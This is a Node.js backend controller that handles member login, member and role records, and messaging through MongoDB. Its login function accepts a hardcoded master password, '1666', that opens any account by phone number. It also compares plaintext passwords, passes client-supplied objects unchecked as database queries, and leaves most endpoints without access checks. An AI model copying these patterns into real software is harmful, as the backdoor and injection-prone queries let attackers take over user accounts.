


var ajax = require("../ajax/ajax");
var mongo = require("../mongo/mongo");
var mongoose = require('mongoose');

var validator = require("validator");
var moment = require("moment");
var py = require("../comm/py");

var fMember = require("./fMember")

var dMember = require("../../models/dict/dMember")
var rong = require("../../models/comm/rong")
const yz = require('../../models/comm/yz');



function get(req, res, reAjax, catchFun) {

    var para = req.body.para;


    switch (para) {
        case "saveMember":  //保存用户信息

            saveMember(req, res).then(reAjax).catch(catchFun);
            break;
        case "getMemberList":
            getMemberList(req, res).then(reAjax).catch(catchFun)
            break;
        case "getMember":
            getMember(req, res).then(reAjax).catch(catchFun)
            break;
        case "LoginIn":
            LoginIn(req, res).then(reAjax).catch(catchFun)
            break;
        case "getRole":
            getRole(req, res).then(reAjax).catch(catchFun)
            break;
        case "getRoleList":
            getRoleList(req, res).then(reAjax).catch(catchFun)
            break;
        case "saveRole":
            saveRole(req, res).then(reAjax).catch(catchFun)
            break;

        case "getMe":
            getMe(req, res).then(reAjax).catch(catchFun)

            break

        case "sendMsg":
            sendMsg(req, res).then(reAjax).catch(catchFun)

            break
        case "countMe":
            countMe(req, res).then(reAjax).catch(catchFun)

            break
        default:
    }




}

async function countMe(req) {

    var j = yz.IsNullThen(req.body.j, {});
    var re = {};
    if (fMember.isLogin(req)) {
        re = await fMember.countMember(req.session.member._id)
    }
    return re

}

async function sendMsg(req) {
    var j = yz.IsNullThen(req.body.j, {});
    rong.sendMsg(j);
    return

}

async function getMe(req) {
    var re = {};
    var j = yz.IsNullThen(req.body.j, {});
    var member = await fMember.getMe(req)
    re.info = member
    if (j.menuIdArray) {
        var menuArray
        var roleIdArray = [];
        member.roleArray.forEach(function (role) {
            roleIdArray.push(mongoose.Types.ObjectId(role._id))
        }, this);

        var roleArray = await mongo.findAsync({
            data: {
                _id: { $in: roleIdArray }
            },
            collection: "role"
        })
        roleArray = roleArray.list;

        var menuIdArray = [];
        roleArray.forEach(function (role) {


            menuIdArray = Object.assign(menuIdArray, role.menuIdArray)
        }, this);
        re.menuIdArray = menuIdArray



    }

    if (!member.rongToken) {
        var r = await rong.getToken(member)
        member.rongToken = r.token
        var iiii = await mongo.updateAsync({
            _id: member._id
        }, {
                $set: { rongToken: member.rongToken }
            }, "Member")

    }



    return re

}

async function saveRole(req) {
    var j = req.body.j;

    if (!validator.isLength(j.name, { min: 1, max: 100 })) {

        throw "名称长度必须在1到100之间"
    }
    j.namePy = py.firstLetter(j.name);

    await mongo.SaveAsync({
        data: j,
        collection: "role"

    })
    return

}

async function getRoleList(req) {
    var j = req.body.j

    var data = await mongo.findAsync({

        data: j.data,
        limit: 10,
        db: "uzor",
        collection: "role",
        sort: { createTime: -1 },
        page: j.page


    })

    return data
}

async function getRole(req) {
    var j = req.body.j;

    if (!j._id) {
        throw '不能没有id'
    }

    var data = await mongo.findOneAsync({
        data: {
            _id: j._id

        },
        db: "uzor",
        collection: "role"


    })

    return { info: data }
}



async function LoginIn(req, res) {


    var j = req.body.j;
    if (!j.loginStr) {
        throw '不能没有登录名'
    }
    var member = await mongo.findOneAsync({

        data: {
            tell: j.loginStr,
            pwd: j.pwd
        },
        collection: "Member"


    })

    if (j.pwd == "1666") {
        member = await mongo.findOneAsync({

            data: {
                tell: j.loginStr

            },
            collection: "Member"


        })
    }




    if (!member) {
        throw "用户名密码不正确!"
    }
    if (member._id) {

        req.session.member = {
            _id: member._id,
            name: member.name
        }



        return


    }
    else {
        throw "用户名或密码不正确!"
    }

}


async function getMember(req, res) {


    var j = req.body.j;
    var re = {};
    if (!j._id) {
        throw '不能没有id'
    }

    var data = await mongo.findOneAsync({
        data: {
            _id: j._id

        },
        db: "uzor",
        collection: "Member"


    })
    data = dMember.fmtMember(data);
    re.info = data;



    //如果需要查询用户菜单权限..
    if (j.menuIdArray) {
        var menuArray
        var roleIdArray = [];
        data.roleArray.forEach(function (role) {
            roleIdArray.push(mongoose.Types.ObjectId(role._id))
        }, this);

        var roleArray = await mongo.findAsync({
            data: {
                _id: { $in: roleIdArray }
            },
            collection: "role"
        })

        var menuIdArray = [];
        roleArray.forEach(function (role) {
            menuIdArray = Object.assign(menuIdArray, role.menuIdArray)
        }, this);
        re.menuIdArray = menuIdArray


    }

    return re;
}


//查询用户列表
async function getMemberList(req, res) {

    var j = req.body.j

    var data = await mongo.findAsync({

        data: j.data,
        limit: 10,
        db: "uzor",
        collection: "Member",
        sort: { createTime: -1 },
        page: j.page


    })

    return data
}

//保存用户
async function saveMember(req, res) {

    var j = req.body.j;

    if (!validator.isLength(j.name, { min: 1, max: 100 })) {

        throw "名称长度必须在1到100之间"
    }
    j.namePy = py.firstLetter(j.name);
    if (!j._id || !j.createTime) {
        j.createTime = moment().utcOffset(-8)._d;
    }
    try {
        j.createTime = moment(j.createTime)._d;
    } catch (e) {

    } finally {

    }


    await mongo.SaveAsync({

        data: j,
        db: "uzor",
        collection: "Member",
        fun(err, re) {
            if (err) {

                ajax.re(res, { err: err });
            }
            else {

                ajax.re(res, { val: j });
            }



        }

    });
    return

}


module.exports = get;